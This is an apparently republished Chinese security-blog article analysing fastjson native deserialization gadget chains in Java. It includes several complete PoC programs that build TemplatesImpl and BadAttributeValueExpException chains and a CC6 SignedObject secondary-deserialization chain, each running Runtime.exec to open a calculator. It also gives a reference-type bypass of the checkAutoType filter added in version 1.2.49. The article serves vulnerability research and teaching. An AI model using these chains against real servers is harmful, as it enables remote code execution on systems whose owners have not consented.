扫码领资料
获网安教程
本文由掌控安全学院 - fupanc 投稿
来Track安全社区投稿~
千元稿费!还有保底奖励~(https://bbs.zkaq.cn)
这里来调试分析一下fastjson原生反序列化,也就是比较常打的反序列化调用链。
Fastjson<=1.2.48&2
这里以1.2.48版本为例进行构造,在fastjson1版本下的>=1.2.49需要有一定的绕过方法,这个后面会讲。
这里可以利用的类是JSONObject以及JSONArray类,存在利用点的是这两个类的toString()方法,这两个类本身没有实现toString()方法,但是这两个类的父类都是JSON类,JSON实现的toString()方法如下:
这个toString()方法调用了toJSONString()方法,这个方法也比较熟悉了,就是JSON序列化调用的方法,可以调用到对应类的getter方法,现在的思路就是序列化JSONObject或者JSONArray类,那么这里的具体过程是什么呢,个人简单从代码层面跟进了一下原理(可能有误):
JSONObejct链
跟进toJSONString()方法:
会调用JSONSerializer类的write()方法,注意参数的传递,也就是这里的this代表我们想要利用的JSONObject类,值得一提的是JSONSerializer类的config变量,后面会用:
getGlobalInstance()方法返回的其实就是SerializeConfig类实例,自己跟一下就知道了。
然后跟进JSONSerializer类的write()方法:
这里会调用getObjectWriter()方法,然后会调用SerializeConfig类的getObjectWriter()方法:
如下:
注意参数传递,那么这里的clazz就是JSONObject的Class对象,现在注意点放在serializers变量中,搜索发现是在SerializeConfig属实话方法中有定义,构造方法中定义initSerializers()方法用于初始化这个变量,里面放入了一些键值对:
但是并没有JSONObject.class这种类型的,继续看getObjectWriter()方法,后续可以看到一个定义:
这里的isAssignableFrom()方法就是判断clazz是否实现Map接口,而JSONObject确实是实现了这个接口,所以这里会放入一个JSONObject:MapSerializer类实例的键值对,并且会在后面取值然后返回:
回到JSONSerializer类的write()方法,然后会调用MapSerializer类的write()方法,先是获取到JSONObject类的map变量:
一次完整的序列化过程,所以这里是可以调用到getter方法,那么就可以尝试打TemplatesImpl类的getOutputProperties()方法了,调用toString()方法的话就还是使用CC5的即可,所以可以构造POC如下:
package org.example;import javax.management.BadAttributeValueExpException;import com.alibaba.fastjson.JSONObject;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.io.*;import java.lang.reflect.Field;public class Main{ public static void main(String[] args) throws Exception { //使用javassist定义恶意代码 ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = classPool.makeClass("Evil"); String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] code = new byte[][]{classBytes}; TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", code); setFieldValue(templates, "_name", "fupanc"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); JSONObject jsonObject = new JSONObject(); jsonObject.put("fupanc",templates); BadAttributeValueExpException bad = new BadAttributeValueExpException(null); Field field = bad.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(bad, jsonObject); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser")); out.writeObject(bad); out.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser")); in.readObject(); in.close(); } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }}
运行后成功弹出计算机。再次调试,过程与分析的基本相同,有一点有错,获取JSONObject的map并没有按照预期:
而是直接在for循环那里调用对应方法返回的值:
JSONObject类的entrySet()方法:
其他的就差不多了。
JSONArray链
这个其实也是和前面JSONObject过程是差不多的,只是JSONArray类实现的是List.class,对应的获取到的writer就是ListSerializer类实例:
也就是会调用ListSerializer类的writer()方法,这个writer方法同样是调用了for循环来进行获取值并序列化的操作,大体过程如下:
赋值:
for循环取值:
这里会调用到JSONArray类的get()方法:
也就是获取相对应存储值的操作,然后有进行序列化的操作:
具体是哪个还不知道,现在同样可以尝试构造如下:
package org.example;import javax.management.BadAttributeValueExpException;import com.alibaba.fastjson.JSONArray;import com.alibaba.fastjson.JSONObject;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.io.*;import java.lang.reflect.Field;public class Main{ public static void main(String[] args) throws Exception { //使用javassist定义恶意代码 ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = classPool.makeClass("Evil"); String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] code = new byte[][]{classBytes}; TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", code); setFieldValue(templates, "_name", "fupanc"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException bad = new BadAttributeValueExpException(null); Field field = bad.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(bad, jsonArray); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser")); out.writeObject(bad); out.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser")); in.readObject(); in.close(); } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }}
运行后弹出计算机,调试过后过程基本相同,最后序列化相关变量的地方在:
————
需要注意的是,上面两条链子也能打fastjson2版本,在maven仓库上看目前最新的fastjson版本为2.0.57,经测试fastjson2版本<=2.0.26能打,从2.0.27开始被修复了,依赖如下:
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson --><dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>2.0.26</version></dependency>
测试改一下版本即可。
fastjson>=1.2.49
注意改依赖版本,依赖如下:
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson --><dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.49</version></dependency>
在fastjson1中,从1.2.49版本开始相比fastjson1<=1.2.48版本的利用类有了改变,就JSONObject和JSONArray类来说,在这个版本过后都添加了自带的readObject()方法,也就是在反序列化时会调用的方法。
JSONArray类的readObject()方法:
private void readObject(final java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { JSONObject.SecureObjectInputStream.ensureFields(); if (JSONObject.SecureObjectInputStream.fields != null && !JSONObject.SecureObjectInputStream.fields_error) { ObjectInputStream secIn = new JSONObject.SecureObjectInputStream(in); secIn.defaultReadObject(); return; } in.defaultReadObject(); for (Object item : list) { if (item != null) { ParserConfig.global.checkAutoType(item.getClass().getName(), null); } } }
JSONObject类的readObject()方法:
private void readObject(final java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { SecureObjectInputStream.ensureFields(); if (SecureObjectInputStream.fields != null && !SecureObjectInputStream.fields_error) { ObjectInputStream secIn = new SecureObjectInputStream(in); secIn.defaultReadObject(); return; } in.defaultReadObject(); for (Entry entry : map.entrySet()) { final Object key = entry.getKey(); if (key != null) { ParserConfig.global.checkAutoType(key.getClass().getName(), null); } final Object value = entry.getValue(); if (value != null) { ParserConfig.global.checkAutoType(value.getClass().getName(), null); } } }
从这两个readObject()方法中,可以看出来在反序列化时都会委托给SecureObjectInputStream类进行处理,这个类重写了resolveClass()方法:
这里就是调用了checkAutoType()方法来进行对反序列化类的检测,这个checkAutoType()方法我们已经很熟悉了,并且这里fastjson的版本是1.2.49,但是同样是可以绕过的,这里的反序列化过程可以看成如下:
ObjectInputStream -> readObject... -> SecureObjectInputStream -> readObject -> resolveClass
在前面的分析中,我们可以知道主要的检测逻辑就是在resolveClass()方法,但是我们需要知道的是,在反序列化时,不是所有的反序列化时都会调用resolveClass()方法,所以这里存在一个绕过方法,可以寻找什么情况下不会调用resolveClass()方法,从而可以绕过这个检测。
在java.io.ObjectInputStream#readObject0的调用中,会根据读到的bytes中tc的数据类型做不同的处理来进行对象的反序:
部分如上,这里我们要利用到的就是图中标注出来的TC_REFERENCE类型的处理,从名称也可以看出来这里就是要处理引用类型的数据,对于resolveClass()方法的调用过程,以如下代码简单调试一下:
package org.example;import java.io.*;public class AppTest{ public static void main(String[] args) throws IOException, ClassNotFoundException{ Test123 test = new Test123("fupanc"); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(test); oos.close(); ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new MyTestInputStream(bais); Test123 a = (Test123)ois.readObject(); System.out.println(a.getName()); }}class MyTestInputStream extends ObjectInputStream{ public MyTestInputStream(InputStream in) throws IOException { super(in); } protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { System.out.println("just a Test"); return super.resolveClass(desc); }}class Test123 implements Serializable { public String name; private static final long serialVersionUID = 1L; public Test123(String name){ this.name=name; } public String getName(){ return name; }}
这里我是自己重写了一个resolveClass()方法,运行后输出如下:
just a Testfupanc
可以看到是成功调用了resolveClass()方法,对于这里的反序列化,是直接反序列化的一个实例化对象,也是我们平时比较常用的点,打断点于readObject()方法,然后开始调试:
跟进这里的readObject0()方法,然后到switch部分,会匹配到TC_OBJECT类型:
跟进这里的readOrdinaryObject()方法:
其实我们一般反序列化对象的实例化的点就是下面标注出来的,并且如果实例化成功最后返回的也是这个obj。这里我们是在找resolveClass()方法调用部分,继续跟进readClassDesc()方法;
可以看到是对byte取了下一个数据类型,如果是TC_CLASSDESC类型的话,就会再次调用readNonProxyDesc()方法,这个方法内部就会有resolveClass()方法的调用:
由于对象的关系,这里就会调用到我自定义的resolveClass()方法:
由此形成了一个闭环,我这里只是简单分析了一下流程。可以简单总结一下前面的流程,比较关键的点就是:
readClassDesc()方法=》如果下一个数据类型是TC_CLASSDESC就会调用到readNonProxyDesc()方法=》resolveClass()方法
然后看前面的readObject0()方法的不同数据类型对应调用的不同方法,大部分类型所需要的方法都是会readClassDesc()方法的,所以也是会有一定概率会调用到resolveClass()方法的,所以这里是需要找一个不会调用readClassDesc()方法方法的数据类型,这里有几个,但是有用的就是TC_REFERENCE类型,这个类型对应的readHandle()方法是通过映射来获取对象的:
犹记得前面的TC_OBJECT类型是先调用的readClassDesc进行反序列化类的检查,然后才是调用的newInstance()方法进行的实例化,所以这里的引用是非常好用来绕过的。
所以现在的思路就是在JSONObject/JSONArray反序列化时,进行检测时,不会调用resolveClass()方法,从而可以来绕过,如何建立从对象到引用的映射,利用方法就是向List、set、map类型中添加同样对象就可以成功利用。
从List类型构造一个例子来调试理解:
package org.example;import java.io.*;import java.util.ArrayList;import java.util.HashMap;public class AppTest{ public static void main(String[] args) throws IOException, ClassNotFoundException{ Test123 test = new Test123("fupanc"); ArrayList list = new ArrayList(); list.add(test); HashMap map = new HashMap(); map.put("fupanc", test); list.add(map); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(list); oos.close(); }}class Test123 implements Serializable { public String name; private static final long serialVersionUID = 1L; public Test123(String name){ this.name=name; } public String getName(){ return name; }}
在ArrayList的writeObject打一个断点,使用for循环来进行分别处理:
重点看第二次,在上图中的writeObject()方法后会调用writeObject0()方法进行处理,我这里本地测试是使用的HashMap来实现一个对象存有另外一个对象的情况,模拟的JSONArray的存储,需要注意注意的是,Hashmap自己有实现writeObject()方法:
这里的internalWriteEntries()方法值得关注,会进行如下的调用:
同样是遍历HashMap中的键值对,然后调用writeObject()对key和value都进行了序列化处理。
回到ArrayList类的序列化处理方法,说明一下关键点:
注意理解序列化的过程,会调用到HashMap类的writeObject(),也是前面提过的:
这里我发现一个东西,似乎这里对于一个值的存储,如果前后放入有相同的类型的值,都会使用引用来进行映射,我上面的测试代码中,是放入了两个String.class类型的"fupanc"类型的变量,发现这里还是会写成引用类型:
因为都是String类型?所以会用引用Test123中的name?并且我讲放入的键值对改成"123":Test13,这样就只会在Test123这里标注为引用类型,稍底层了,具体也不多说,对于Test123类实例,就是按照前面的预期写成引用类型:
writeHandle()方法:
所以这里就可以尝试如下构造:
package org.example;import javax.management.BadAttributeValueExpException;import com.alibaba.fastjson.JSONArray;import com.alibaba.fastjson.JSONObject;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.io.*;import java.lang.reflect.Field;import java.util.ArrayList;public class Main{ public static void main(String[] args) throws Exception { //使用javassist定义恶意代码 ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = classPool.makeClass("Evil"); String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] code = new byte[][]{classBytes}; TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", code); setFieldValue(templates, "_name", "fupanc"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException bad = new BadAttributeValueExpException(null); Field field = bad.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(bad, jsonArray); ArrayList list = new ArrayList(); list.add(templates); list.add(bad); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser")); out.writeObject(list); out.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser")); in.readObject(); in.close(); } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }}
运行后成功弹出计算机。
总结来说这里的过程就是第一次成功反序列化TemplatesImpl类,然后第二次反序列化BadAttributeValueExpException类时,当调用到JSONArray的readObject()时,当反序列化JSONArray中的TemplatesImpl类时,此时的TemplatesImpl类是一个引用类型,不会调用resolveClass()方法,从而成功绕过。
JSONObject同样的道理:
package org.example;import javax.management.BadAttributeValueExpException;import com.alibaba.fastjson.JSONArray;import com.alibaba.fastjson.JSONObject;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.io.*;import java.lang.reflect.Field;import java.util.ArrayList;public class Main{ public static void main(String[] args) throws Exception { //使用javassist定义恶意代码 ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = classPool.makeClass("Evil"); String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] code = new byte[][]{classBytes}; TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", code); setFieldValue(templates, "_name", "fupanc"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); JSONObject jsonObject = new JSONObject(); jsonObject.put("fupanc",templates); BadAttributeValueExpException bad = new BadAttributeValueExpException(null); Field field = bad.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(bad, jsonObject); ArrayList list = new ArrayList(); list.add(templates); list.add(bad); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser")); out.writeObject(list); out.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser")); in.readObject(); in.close(); } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }}
那么对于map类型,这里就直接使用Hashmap即可:
package org.example;import javax.management.BadAttributeValueExpException;import com.alibaba.fastjson.JSONArray;import com.alibaba.fastjson.JSONObject;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.io.*;import java.lang.reflect.Field;import java.util.ArrayList;import java.util.HashMap;public class Main{ public static void main(String[] args) throws Exception { //使用javassist定义恶意代码 ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = classPool.makeClass("Evil"); String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] code = new byte[][]{classBytes}; TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", code); setFieldValue(templates, "_name", "fupanc"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); JSONObject jsonObject = new JSONObject(); jsonObject.put("fupanc",templates); BadAttributeValueExpException bad = new BadAttributeValueExpException(null); Field field = bad.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(bad, jsonObject); HashMap hashMap = new HashMap(); hashMap.put(templates,bad); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser")); out.writeObject(hashMap); out.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser")); in.readObject(); in.close(); } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }}
具体过程其实前面也说了,在序列化时会分别对key和value进行writeObject()处理:
所以我这里的处理方式是:
HashMap hashMap = new HashMap();hashMap.put(templates,bad);
第一次放入一个TemplatesImpl类实例,然后第二次放入的bad的TemplatesImpl类就是引用类型,可以绕过。
JSONArray也一样:
package org.example;import javax.management.BadAttributeValueExpException;import com.alibaba.fastjson.JSONArray;import com.alibaba.fastjson.JSONObject;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.io.*;import java.lang.reflect.Field;import java.util.ArrayList;import java.util.HashMap;public class Main{ public static void main(String[] args) throws Exception { //使用javassist定义恶意代码 ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = classPool.makeClass("Evil"); String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] code = new byte[][]{classBytes}; TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", code); setFieldValue(templates, "_name", "fupanc"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException bad = new BadAttributeValueExpException(null); Field field = bad.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(bad, jsonArray); HashMap hashMap = new HashMap(); hashMap.put(templates,bad); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser")); out.writeObject(hashMap); out.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser")); in.readObject(); in.close(); } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }}
set类型的:
使用HashSet,但是有点问题,似乎当放入后会自己再进行排序,导致不会是第二次调用writeObject()时是JSONArray类,发现无论什么先后放入顺序,最后都是JSONArray为0,TemplatesImpl为1,导致不能在想利用的地方形成引用类型。
既然都是调用getter方法了,那么是肯定可以打二次反序列化的,以一个二次反序列化CC6为例:
1.2.48版本直接打:
package org.example;import java.lang.reflect.Field;import java.util.HashMap;import java.security.Signature;import java.security.SignedObject;import java.security.KeyPairGenerator;import java.security.KeyPair;import com.alibaba.fastjson.JSONArray;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.keyvalue.TiedMapEntry;import javax.management.BadAttributeValueExpException;import java.util.Map;import java.io.FileOutputStream;import java.io.FileInputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;public class Main{ public static void main(String[] args) throws Exception { Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)}; Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)}; Transformer chain = new ChainedTransformer(fakeTransformer); HashMap haha = new HashMap(); Map lazy = LazyMap.decorate(haha,chain); TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc"); HashMap hashMap = new HashMap(); hashMap.put(outerMap,"fupanc"); haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行 Field x = ChainedTransformer.class.getDeclaredField("iTransformers"); x.setAccessible(true); x.set(chain,chainpart); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject(hashMap,kp.getPrivate(),Signature.getInstance("DSA")); JSONArray jsonArray = new JSONArray(); jsonArray.add(signedObject); BadAttributeValueExpException bad = new BadAttributeValueExpException(null); setFieldValue(bad,"val",jsonArray); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser")); out.writeObject(bad); out.close(); ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser")); input.readObject(); input.close(); } public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); }}
高版本的禁了这个二次反序列化类:
autoType is not support. java.security.SignedObject
同样绕一下即可:
package org.example;import java.lang.reflect.Field;import java.util.ArrayList;import java.util.HashMap;import java.security.Signature;import java.security.SignedObject;import java.security.KeyPairGenerator;import java.security.KeyPair;import com.alibaba.fastjson.JSONArray;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.keyvalue.TiedMapEntry;import javax.management.BadAttributeValueExpException;import java.util.Map;import java.io.FileOutputStream;import java.io.FileInputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;public class Main{ public static void main(String[] args) throws Exception { Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)}; Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)}; Transformer chain = new ChainedTransformer(fakeTransformer); HashMap haha = new HashMap(); Map lazy = LazyMap.decorate(haha,chain); TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc"); HashMap hashMap = new HashMap(); hashMap.put(outerMap,"fupanc"); haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行 Field x = ChainedTransformer.class.getDeclaredField("iTransformers"); x.setAccessible(true); x.set(chain,chainpart); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject(hashMap,kp.getPrivate(),Signature.getInstance("DSA")); JSONArray jsonArray = new JSONArray(); jsonArray.add(signedObject); BadAttributeValueExpException bad = new BadAttributeValueExpException(null); setFieldValue(bad,"val",jsonArray); ArrayList list = new ArrayList(); list.add(signedObject); list.add(bad); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser")); out.writeObject(list); out.close(); ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser")); input.readObject(); input.close(); } public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); }}
————
最后,需要知道的点,对于这里的 fastjson1 下的高版本利用方法,不是什么情况下都能打,主要存在漏洞的原因就是这里的反序列化处理问题,在 JSONArray 以及 JSONObject 类的 readObject()方法是委托了另外一个类来进行的对恶意反序列化类的处理,导致了绕过。
参考文章:
https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/
https://nivi4.notion.site/fastjson-17753526a00246f9b146eca7354b8835
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
原文始发于微信公众号(掌控安全EDU):JavaSec | fastjson反序列化调用链分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论